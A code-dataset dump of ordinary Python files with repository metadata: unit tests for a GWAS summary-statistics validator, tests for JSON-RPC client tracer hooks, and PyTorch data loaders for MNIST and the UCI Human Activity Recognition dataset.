tests/test_validator.py
|
ens-lgil/gwas-sumstats-validator
|
b24bd57df2cf1e1346790bc5c632ff559f17777e
|
[
"Apache-2.0"
] | null | null | null |
import unittest
import shutil
import os
import sys
import tests.prep_tests as prep
import validate.validator as v
from validate.common_constants import *
import tests.test_values as test_arrays
class BasicTestCase(unittest.TestCase):
def setUp(self):
self.test_storepath = "./tests/data"
os.makedirs(self.test_storepath, exist_ok=True)
def tearDown(self):
shutil.rmtree(self.test_storepath)
def test_validate_good_file_extension(self):
test_filepath = os.path.join(self.test_storepath, "test_file.tsv.gz")
validator = v.Validator(test_filepath, "pgs-upload", logfile=test_filepath + ".LOG")
valid_ext = validator.validate_file_extension()
self.assertTrue(valid_ext)
# alternative
test_filepath = os.path.join(self.test_storepath, "test_file.csv.gz")
validator = v.Validator(test_filepath, "pgs-upload", logfile=test_filepath + ".LOG")
valid_ext = validator.validate_file_extension()
self.assertTrue(valid_ext)
def test_validate_bad_file_extension(self):
test_filepath = os.path.join(self.test_storepath, "test_file.zip")
validator = v.Validator(test_filepath, "pgs-upload", logfile=test_filepath + ".LOG")
valid_ext = validator.validate_file_extension()
self.assertFalse(valid_ext)
def test_validate_good_file_headers(self):
test_filepath = os.path.join(self.test_storepath, "test_file.tsv")
setup_file = prep.SSTestFile()
setup_file.prep_test_file()
validator = v.Validator(test_filepath, "pgs-upload", logfile=test_filepath + ".LOG")
valid_headers = validator.validate_headers()
self.assertTrue(valid_headers)
def test_validate_file_headers_missing_snp(self):
test_filepath = os.path.join(self.test_storepath, "test_file.tsv")
setup_file = prep.SSTestFile()
setup_file.set_test_data_dict()
setup_file.test_data_dict.pop(SNP_DSET) # remove a snp field
setup_file.prep_test_file()
validator = v.Validator(test_filepath, "pgs-upload", logfile=test_filepath + ".LOG")
valid_headers = validator.validate_headers()
self.assertTrue(valid_headers)
def test_validate_file_headers_missing_pos(self):
test_filepath = os.path.join(self.test_storepath, "test_file.tsv")
setup_file = prep.SSTestFile()
setup_file.set_test_data_dict()
setup_file.test_data_dict.pop(CHR_DSET) # remove the chr field
setup_file.test_data_dict.pop(BP_DSET) # remove the pos field
setup_file.prep_test_file()
validator = v.Validator(test_filepath, "pgs-upload", logfile=test_filepath + ".LOG")
valid_headers = validator.validate_headers()
self.assertTrue(valid_headers)
def test_validate_file_headers_missing_snp_and_pos(self):
test_filepath = os.path.join(self.test_storepath, "test_file.tsv")
setup_file = prep.SSTestFile()
setup_file.set_test_data_dict()
setup_file.test_data_dict.pop(SNP_DSET) # remove a snp field
setup_file.test_data_dict.pop(CHR_DSET) # remove the chr field
setup_file.test_data_dict.pop(BP_DSET) # remove the pos field
setup_file.prep_test_file()
validator = v.Validator(test_filepath, "pgs-upload", logfile=test_filepath + ".LOG")
valid_headers = validator.validate_headers()
self.assertFalse(valid_headers)
def test_validate_bad_file_headers(self):
test_filepath = os.path.join(self.test_storepath, "test_file.tsv")
setup_file = prep.SSTestFile()
setup_file.set_test_data_dict()
setup_file.test_data_dict.pop(EFFECT_DSET) # remove a mandatory field
setup_file.prep_test_file()
validator = v.Validator(test_filepath, "pgs-upload", logfile=test_filepath + ".LOG")
valid_headers = validator.validate_headers()
self.assertFalse(valid_headers)
def test_validate_bad_file_headers_missing_effect(self):
test_filepath = os.path.join(self.test_storepath, "test_file.tsv")
setup_file = prep.SSTestFile()
setup_file.set_test_data_dict()
setup_file.test_data_dict.pop(EFFECT_WEIGHT_DSET) # remove effect_weight field
setup_file.test_data_dict.pop(OR_DSET) # remove odds ratio field
setup_file.test_data_dict.pop(HR_DSET) # remove hazard ratio field
setup_file.prep_test_file()
validator = v.Validator(test_filepath, "pgs-upload", logfile=test_filepath + ".LOG")
valid_headers = validator.validate_headers()
self.assertFalse(valid_headers)
def test_validate_good_file_data(self):
test_filepath = os.path.join(self.test_storepath, "test_file.tsv")
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile()
setup_file.prep_test_file()
validator = v.Validator(test_filepath, "pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertTrue(valid_data)
def test_validate_bad_snp_file_data(self):
test_filename = "bad_snp.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[SNP_DSET] = ["invalid", 123, "1_1234_A_G", "ss151232"] # set bad snps
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 4)
self.assertFalse(valid_data)
def test_validate_bad_snp_and_no_pos_file_data(self):
test_filename = "bad_snp_no_pos.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[SNP_DSET] = ["invalid", "rs123", "1_1234_A_G", "ss151232"] # set bad snps
setup_file.test_data_dict[BP_DSET] = [None, 123, "NA", None] # only one good row
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 3)
self.assertFalse(valid_data)
def test_validate_bad_chr_file_data(self):
test_filename = "bad_chr.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[CHR_DSET] = [1, 123, "CHR1", "X"] # set 2 bad chrs
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 2)
self.assertFalse(valid_data)
def test_validate_bad_chr_and_no_snp_file_data(self):
test_filename = "bad_chr_no_snp.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[CHR_DSET] = [1, 123, "CHR1", "X"] # set 2 bad chrs
setup_file.test_data_dict[SNP_DSET] = ["invalid", 123, "rs1234", "rs151"] # set only one good row
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 3)
self.assertFalse(valid_data)
def test_validate_bad_bp_file_data(self):
test_filename = "bad_bp.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[BP_DSET] = [1, 1234567890, "CHR1_122334", 123245] # set 2 bad bps
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 2)
self.assertFalse(valid_data)
def test_validate_bad_bp_and_no_snp_file_data(self):
test_filename = "bad_bp_no_snp.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[BP_DSET] = [1, 1234567890, "CHR1_122334", 123245] # set 2 bad bps
setup_file.test_data_dict[SNP_DSET] = ["invalid", 123, None, "rs1234"] # set so only one good row
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 3)
self.assertFalse(valid_data)
def test_validate_bad_optional_effect_weight_file_data(self):
test_filename = "bad_weight.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[EFFECT_WEIGHT_DSET] = [1.1232e-23, "invalid", 0.123, .3245] # set 1 bad bps
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 1)
self.assertFalse(valid_data)
def test_validate_bad_optional_odds_ratio_file_data(self):
test_filename = "bad_odds.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[OR_DSET] = [1.1232e-23, "invalid", 0.123, .3245] # set 1 bad bps
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 1)
self.assertFalse(valid_data)
def test_validate_bad_optional_hazard_ratio_file_data(self):
test_filename = "bad_hazard.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[HR_DSET] = [1.1232e-23, "invalid", 0.123, .3245] # set 1 bad bps
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 1)
self.assertFalse(valid_data)
def test_validate_bad_effect_allele_file_data(self):
test_filename = "bad_effect.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[EFFECT_DSET] = ['A', 'AGG', 'INS:T', 'd'] # set 2 bad alleles
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 2)
self.assertFalse(valid_data)
def test_validate_empty_snp_file_data(self):
test_filename = "empty_snp.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[SNP_DSET] = ["NA", None, None, None] # set bad snps
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 4)
self.assertFalse(valid_data)
def test_validate_empty_snp_no_pos_file_data(self):
test_filename = "empty_snp_no_pos.tsv"
test_filepath = os.path.join(self.test_storepath, test_filename)
logfile=test_filepath.replace('tsv', 'LOG')
setup_file = prep.SSTestFile(filename=test_filename)
setup_file.set_test_data_dict()
setup_file.test_data_dict[SNP_DSET] = ["NA", None, "1234", "rs1"] # set bad snps
setup_file.test_data_dict[BP_DSET] = [None, 123, "NA", None] # only one good bp
setup_file.prep_test_file()
validator = v.Validator(file=test_filepath, filetype="pgs-upload", logfile=logfile)
valid_data = validator.validate_data()
self.assertEqual(len(validator.bad_rows), 4)
self.assertFalse(valid_data)
if __name__ == '__main__':
unittest.main()
| 50.397059
| 109
| 0.702145
| 1,840
| 13,708
| 4.888043
| 0.067391
| 0.081054
| 0.057372
| 0.049144
| 0.929509
| 0.921503
| 0.915499
| 0.877585
| 0.877252
| 0.858906
| 0
| 0.016157
| 0.191786
| 13,708
| 271
| 110
| 50.583026
| 0.795649
| 0.035527
| 0
| 0.716049
| 0
| 0
| 0.062609
| 0
| 0
| 0
| 0
| 0
| 0.139918
| 1
| 0.09465
| false
| 0
| 0.032922
| 0
| 0.131687
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
56ed4fb3784cba39083f1894347b5486d5f89727
| 3,269
|
py
|
Python
|
tests/client/test_tracer.py
|
bernhardkaindl/pjrpc
|
6e21534ee5a073315e805a911ae75cada4a81137
|
[
"Unlicense"
] | null | null | null |
tests/client/test_tracer.py
|
bernhardkaindl/pjrpc
|
6e21534ee5a073315e805a911ae75cada4a81137
|
[
"Unlicense"
] | null | null | null |
tests/client/test_tracer.py
|
bernhardkaindl/pjrpc
|
6e21534ee5a073315e805a911ae75cada4a81137
|
[
"Unlicense"
] | null | null | null |
import json
from xjsonrpc.common import BatchRequest, BatchResponse, Request, Response
from xjsonrpc import client
import pytest
@pytest.mark.parametrize(
'req, resp, exc', [
(
Request(id=1, method='method', params=[1, '2']),
Response(id=1, result='result'),
None,
),
(
BatchRequest(Request(id=1, method='method', params=[1, '2'])),
BatchResponse(Response(id=1, result='result')),
None,
),
(
BatchRequest(Request(id=1, method='method', params=[1, '2'])),
None,
BaseException(),
),
],
)
def test_request_tracing(mocker, req, resp, exc):
class Client(client.AbstractClient):
def _request(self, request_text, is_notification=False, **kwargs):
if exc:
raise exc
return json.dumps(resp.to_json())
class Tracer(client.Tracer):
on_request_begin = mocker.Mock('on_request_begin')
on_request_end = mocker.Mock('on_request_end')
on_error = mocker.Mock('on_error')
tracer = Tracer()
cli = Client(tracers=(tracer,))
trace_ctx = object()
if exc:
with pytest.raises(BaseException):
cli.send(req, _trace_ctx=trace_ctx)
tracer.on_error.assert_called_once_with(trace_ctx, req, exc)
else:
if isinstance(req, BatchRequest):
cli.batch.send(req, _trace_ctx=trace_ctx)
else:
cli.send(req, _trace_ctx=trace_ctx)
tracer.on_request_begin.assert_called_once_with(trace_ctx, req)
tracer.on_request_end.assert_called_once_with(trace_ctx, req, resp)
@pytest.mark.parametrize(
'req, resp, exc', [
(
Request(id=1, method='method', params=[1, '2']),
Response(id=1, result='result'),
None,
),
(
BatchRequest(Request(id=1, method='method', params=[1, '2'])),
BatchResponse(Response(id=1, result='result')),
None,
),
(
BatchRequest(Request(id=1, method='method', params=[1, '2'])),
None,
BaseException(),
),
],
)
async def test_async_request_tracing(mocker, req, resp, exc):
class Client(client.AbstractAsyncClient):
async def _request(self, request_text, is_notification=False, **kwargs):
if exc:
raise exc
return json.dumps(resp.to_json())
class Tracer(client.Tracer):
on_request_begin = mocker.Mock('on_request_begin')
on_request_end = mocker.Mock('on_request_end')
on_error = mocker.Mock('on_error')
tracer = Tracer()
cli = Client(tracers=(tracer,))
trace_ctx = object()
if exc:
with pytest.raises(BaseException):
await cli.send(req, _trace_ctx=trace_ctx)
tracer.on_error.assert_called_once_with(trace_ctx, req, exc)
else:
if isinstance(req, BatchRequest):
await cli.batch.send(req, _trace_ctx=trace_ctx)
else:
await cli.send(req, _trace_ctx=trace_ctx)
tracer.on_request_begin.assert_called_once_with(trace_ctx, req)
tracer.on_request_end.assert_called_once_with(trace_ctx, req, resp)
| 29.718182
| 80
| 0.594065
| 384
| 3,269
| 4.830729
| 0.166667
| 0.086253
| 0.032345
| 0.051752
| 0.904582
| 0.904582
| 0.904582
| 0.904582
| 0.904582
| 0.816173
| 0
| 0.009378
| 0.282349
| 3,269
| 109
| 81
| 29.990826
| 0.78133
| 0
| 0
| 0.777778
| 0
| 0
| 0.052004
| 0
| 0
| 0
| 0
| 0
| 0.066667
| 1
| 0.022222
| false
| 0
| 0.044444
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8572ac8f21554559456eb3bcd0c218e6fc6c13ab
| 81
|
py
|
Python
|
src/stock_data_provider/cn_a/__init__.py
|
stonewell/learn-curve
|
fa712bc3d553c7600ef9f403506faaf410358e41
|
[
"MIT"
] | null | null | null |
src/stock_data_provider/cn_a/__init__.py
|
stonewell/learn-curve
|
fa712bc3d553c7600ef9f403506faaf410358e41
|
[
"MIT"
] | null | null | null |
src/stock_data_provider/cn_a/__init__.py
|
stonewell/learn-curve
|
fa712bc3d553c7600ef9f403506faaf410358e41
|
[
"MIT"
] | null | null | null |
#load stock data from vip data for cn_a
from .vip_dataset import load_stock_data
| 27
| 40
| 0.82716
| 16
| 81
| 3.9375
| 0.625
| 0.285714
| 0.412698
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.148148
| 81
| 2
| 41
| 40.5
| 0.913043
| 0.469136
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
8584d7c98391fc6bc065634ffcc8ba290b355104
| 109
|
py
|
Python
|
python/athena/__init__.py
|
sj1104/Het
|
81b7e9f0f593108db969fc46a1af3df74b825230
|
[
"Apache-2.0"
] | 2
|
2021-05-29T11:18:14.000Z
|
2021-09-09T14:29:21.000Z
|
python/athena/__init__.py
|
sj1104/Het
|
81b7e9f0f593108db969fc46a1af3df74b825230
|
[
"Apache-2.0"
] | null | null | null |
python/athena/__init__.py
|
sj1104/Het
|
81b7e9f0f593108db969fc46a1af3df74b825230
|
[
"Apache-2.0"
] | 3
|
2021-04-01T22:39:13.000Z
|
2021-04-21T11:51:57.000Z
|
from __future__ import absolute_import
from .gpu_links import *
from .gpu_ops import *
from .stream import *
| 21.8
| 38
| 0.798165
| 16
| 109
| 5
| 0.5
| 0.375
| 0.325
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.146789
| 109
| 4
| 39
| 27.25
| 0.860215
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
85bdcc22efd9f64458dde4236cb1912ed9a005a4
| 13,755
|
py
|
Python
|
data_loader/data_loaders.py
|
Neronjust2017/pytorch-classification-project
|
fc5f4d7c46d071765f682ce20e6580646d4e5c76
|
[
"MIT"
] | null | null | null |
data_loader/data_loaders.py
|
Neronjust2017/pytorch-classification-project
|
fc5f4d7c46d071765f682ce20e6580646d4e5c76
|
[
"MIT"
] | null | null | null |
data_loader/data_loaders.py
|
Neronjust2017/pytorch-classification-project
|
fc5f4d7c46d071765f682ce20e6580646d4e5c76
|
[
"MIT"
] | null | null | null |
import torch
from torch.utils.data import TensorDataset
from torchvision import datasets, transforms
from base import BaseDataLoader, BaseDataLoader_2
from torch.utils.data import DataLoader
import numpy as np
import pandas as pd
from .utils import readmts_uci_har, transform_labels
class MnistDataLoader(BaseDataLoader):
"""
MNIST data loading demo using BaseDataLoader
"""
def __init__(self, data_dir, batch_size, shuffle=True, validation_split=0.0, num_workers=1, training=True):
trsfm = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize((0.1307,), (0.3081,))
])
self.data_dir = data_dir
self.dataset = datasets.MNIST(self.data_dir, train=training, download=True, transform=trsfm)
super().__init__(self.dataset, batch_size, shuffle, validation_split, num_workers)
class HumanActivityRecognitionDataLoader2(BaseDataLoader):
"""
HumanActivityRecognition data loading demo using BaseDataLoader
"""
def __init__(self, data_dir, batch_size, shuffle=True, validation_split=0.0, test_split=0.0, num_workers=1,
training=True):
x_train, y_train, x_test, y_test = readmts_uci_har(data_dir)
x_train = x_train.swapaxes(1, 2)
x_test = x_test.swapaxes(1, 2)
y_train, y_test = transform_labels(y_train, y_test)
for i in range(len(x_train)):
for j in range(len(x_test)):
c = (x_train[i] == x_test[j])
d = c.all()
if d:
break
X = np.concatenate((x_train, x_test))
Y = np.concatenate((y_train, y_test))
X = torch.from_numpy(X).float()
Y = torch.from_numpy(Y)
dataset = TensorDataset(X, Y)
super().__init__(dataset, batch_size, shuffle, validation_split, test_split, num_workers, normalization=True)
class HumanActivityRecognitionDataLoader1(BaseDataLoader):
"""
HumanActivityRecognition data loading demo using BaseDataLoader
"""
def __init__(self, data_dir, batch_size, shuffle=True, validation_split=0.0, test_split=0.0, num_workers=1,
training=True):
INPUT_SIGNAL_TYPES = [
"body_acc_x_",
"body_acc_y_",
"body_acc_z_",
"body_gyro_x_",
"body_gyro_y_",
"body_gyro_z_",
"total_acc_x_",
"total_acc_y_",
"total_acc_z_"
]
# Output classes to learn how to classify
LABELS = [
"WALKING",
"WALKING_UPSTAIRS",
"WALKING_DOWNSTAIRS",
"SITTING",
"STANDING",
"LAYING"
]
DATASET_PATH = data_dir
TRAIN = "/train/"
TEST = "/test/"
# Load "X" (the neural network's training and testing inputs)
def load_X(X_signals_paths):
"""
Given attribute (train or test) of feature, read all 9 features into an
np ndarray of shape [sample_sequence_idx, time_step, feature_num]
argument: X_signals_paths str attribute of feature: 'train' or 'test'
return: np ndarray, tensor of features
"""
X_signals = []
for signal_type_path in X_signals_paths:
file = open(signal_type_path, 'rb')
# Read dataset from disk, dealing with text files' syntax
X_signals.append(
[np.array(serie, dtype=np.float32) for serie in [
row.replace(b' ', b' ').strip().split(b' ') for row in file
]]
)
file.close()
return np.transpose(np.array(X_signals), (1, 2, 0))
X_train_signals_paths = [
DATASET_PATH + TRAIN + "Inertial Signals/" + signal + "train.txt" for signal in INPUT_SIGNAL_TYPES
]
X_test_signals_paths = [
DATASET_PATH + TEST + "Inertial Signals/" + signal + "test.txt" for signal in INPUT_SIGNAL_TYPES
]
x_train = load_X(X_train_signals_paths)
x_test = load_X(X_test_signals_paths)
x_train = x_train.swapaxes(1, 2)
x_test = x_test.swapaxes(1, 2)
# Load "y" (the neural network's training and testing outputs)
def load_y(y_path):
"""
Read Y file of values to be predicted
argument: y_path str attibute of Y: 'train' or 'test'
return: Y ndarray / tensor of the 6 one_hot labels of each sample
"""
file = open(y_path, 'rb')
# Read dataset from disk, dealing with text file's syntax
y_ = np.array(
[elem for elem in [
row.replace(b' ', b' ').strip().split(b' ') for row in file
]],
dtype=np.int32
)
file.close()
# Substract 1 to each output class for friendly 0-based indexing
# return one_hot(y_ - 1)
return y_ - 1
y_train_path = DATASET_PATH + TRAIN + "y_train.txt"
y_test_path = DATASET_PATH + TEST + "y_test.txt"
y_train = load_y(y_train_path)
y_test = load_y(y_test_path)
X = np.concatenate((x_train, x_test))
Y = np.concatenate((y_train, y_test))
Y = Y.reshape((len(Y), ))
X = torch.from_numpy(X).float()
Y = torch.from_numpy(Y).long()
dataset = TensorDataset(X, Y)
super().__init__(dataset, batch_size, shuffle, validation_split, test_split, num_workers, normalization=True)
class HumanActivityRecognitionDataLoader3(BaseDataLoader_2):
"""
HumanActivityRecognition data loading demo using BaseDataLoader
"""
def __init__(self, data_dir, batch_size, shuffle=True, validation_split=0.0, test_split=0.0, num_workers=1,
training=True):
INPUT_SIGNAL_TYPES = [
"body_acc_x_",
"body_acc_y_",
"body_acc_z_",
"body_gyro_x_",
"body_gyro_y_",
"body_gyro_z_",
"total_acc_x_",
"total_acc_y_",
"total_acc_z_"
]
# Output classes to learn how to classify
LABELS = [
"WALKING",
"WALKING_UPSTAIRS",
"WALKING_DOWNSTAIRS",
"SITTING",
"STANDING",
"LAYING"
]
DATASET_PATH = data_dir
TRAIN = "/train/"
TEST = "/test/"
# Load "X" (the neural network's training and testing inputs)
def load_X(X_signals_paths):
"""
Given attribute (train or test) of feature, read all 9 features into an
np ndarray of shape [sample_sequence_idx, time_step, feature_num]
argument: X_signals_paths str attribute of feature: 'train' or 'test'
return: np ndarray, tensor of features
"""
X_signals = []
for signal_type_path in X_signals_paths:
file = open(signal_type_path, 'rb')
# Read dataset from disk, dealing with text files' syntax
X_signals.append(
[np.array(serie, dtype=np.float32) for serie in [
row.replace(b' ', b' ').strip().split(b' ') for row in file
]]
)
file.close()
return np.transpose(np.array(X_signals), (1, 2, 0))
X_train_signals_paths = [
DATASET_PATH + TRAIN + "Inertial Signals/" + signal + "train.txt" for signal in INPUT_SIGNAL_TYPES
]
X_test_signals_paths = [
DATASET_PATH + TEST + "Inertial Signals/" + signal + "test.txt" for signal in INPUT_SIGNAL_TYPES
]
x_train = load_X(X_train_signals_paths)
x_test = load_X(X_test_signals_paths)
x_train = x_train.swapaxes(1, 2)
x_test = x_test.swapaxes(1, 2)
# Load "y" (the neural network's training and testing outputs)
def load_y(y_path):
"""
Read Y file of values to be predicted
argument: y_path str attibute of Y: 'train' or 'test'
return: Y ndarray / tensor of the 6 one_hot labels of each sample
"""
file = open(y_path, 'rb')
# Read dataset from disk, dealing with text file's syntax
y_ = np.array(
[elem for elem in [
row.replace(b' ', b' ').strip().split(b' ') for row in file
]],
dtype=np.int32
)
file.close()
# Substract 1 to each output class for friendly 0-based indexing
# return one_hot(y_ - 1)
return y_ - 1
y_train_path = DATASET_PATH + TRAIN + "y_train.txt"
y_test_path = DATASET_PATH + TEST + "y_test.txt"
y_train = load_y(y_train_path)
y_test = load_y(y_test_path)
X = np.concatenate((x_train, x_test))
Y = np.concatenate((y_train, y_test))
n_train = len(x_train)
n_test = len(x_test) // 2
n_val = n_test
idx_full = np.arange(len(X))
test_idx = idx_full[-n_test:]
valid_idx = idx_full[-(n_test+n_val):-n_test]
train_idx = idx_full[:n_train]
Y = Y.reshape((len(Y), ))
X = torch.from_numpy(X).float()
Y = torch.from_numpy(Y).long()
dataset = TensorDataset(X, Y)
super().__init__(dataset, batch_size, shuffle, train_idx, valid_idx, test_idx, num_workers, normalization=True)
class HumanActivityRecognitionDataLoader(BaseDataLoader_2):
"""
HumanActivityRecognition data loading demo using BaseDataLoader
"""
def __init__(self, data_dir, batch_size, shuffle=True, validation_split=0.0, test_split=0.0, num_workers=1,
training=True):
INPUT_SIGNAL_TYPES = [
"body_acc_x_",
"body_acc_y_",
"body_acc_z_",
"body_gyro_x_",
"body_gyro_y_",
"body_gyro_z_",
"total_acc_x_",
"total_acc_y_",
"total_acc_z_"
]
# Output classes to learn how to classify
LABELS = [
"WALKING",
"WALKING_UPSTAIRS",
"WALKING_DOWNSTAIRS",
"SITTING",
"STANDING",
"LAYING"
]
DATASET_PATH = data_dir
TRAIN = "/train/"
TEST = "/test/"
# Load "X" (the neural network's training and testing inputs)
def load_X(X_signals_paths):
"""
Given attribute (train or test) of feature, read all 9 features into an
np ndarray of shape [sample_sequence_idx, time_step, feature_num]
argument: X_signals_paths str attribute of feature: 'train' or 'test'
return: np ndarray, tensor of features
"""
X_signals = []
for signal_type_path in X_signals_paths:
file = open(signal_type_path, 'rb')
# Read dataset from disk, dealing with text files' syntax
X_signals.append(
[np.array(serie, dtype=np.float32) for serie in [
row.replace(b' ', b' ').strip().split(b' ') for row in file
]]
)
file.close()
return np.transpose(np.array(X_signals), (1, 2, 0))
X_train_signals_paths = [
DATASET_PATH + TRAIN + "Inertial Signals/" + signal + "train.txt" for signal in INPUT_SIGNAL_TYPES
]
X_test_signals_paths = [
DATASET_PATH + TEST + "Inertial Signals/" + signal + "test.txt" for signal in INPUT_SIGNAL_TYPES
]
x_train = load_X(X_train_signals_paths)
x_test = load_X(X_test_signals_paths)
x_train = x_train.swapaxes(1, 2)
x_test = x_test.swapaxes(1, 2)
# Load "y" (the neural network's training and testing outputs)
def load_y(y_path):
"""
Read Y file of values to be predicted
argument: y_path str attibute of Y: 'train' or 'test'
return: Y ndarray / tensor of the 6 one_hot labels of each sample
"""
file = open(y_path, 'rb')
# Read dataset from disk, dealing with text file's syntax
y_ = np.array(
[elem for elem in [
row.replace(b' ', b' ').strip().split(b' ') for row in file
]],
dtype=np.int32
)
file.close()
# Substract 1 to each output class for friendly 0-based indexing
# return one_hot(y_ - 1)
return y_ - 1
y_train_path = DATASET_PATH + TRAIN + "y_train.txt"
y_test_path = DATASET_PATH + TEST + "y_test.txt"
y_train = load_y(y_train_path)
y_test = load_y(y_test_path)
X = np.concatenate((x_train, x_test))
Y = np.concatenate((y_train, y_test))
n_train = len(x_train)
n_test = len(x_test)
n_val = n_test
idx_full = np.arange(len(X))
test_idx = idx_full[-n_test:]
train_idx = idx_full[:n_train]
np.random.seed(123)
np.random.shuffle(train_idx)
valid_idx = train_idx[-n_test//2:]
train_idx = train_idx[:-n_test//2]
Y = Y.reshape((len(Y), ))
X = torch.from_numpy(X).float()
Y = torch.from_numpy(Y).long()
dataset = TensorDataset(X, Y)
super().__init__(dataset, batch_size, shuffle, train_idx, valid_idx, test_idx, num_workers, normalization=True)
| 33.87931
| 119
| 0.55936
| 1,706
| 13,755
| 4.227433
| 0.103751
| 0.019412
| 0.022185
| 0.009151
| 0.897948
| 0.885191
| 0.875208
| 0.875208
| 0.865502
| 0.865502
| 0
| 0.011078
| 0.34373
| 13,755
| 405
| 120
| 33.962963
| 0.787859
| 0.193312
| 0
| 0.783465
| 0
| 0
| 0.074597
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.043307
| false
| 0
| 0.031496
| 0
| 0.11811
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
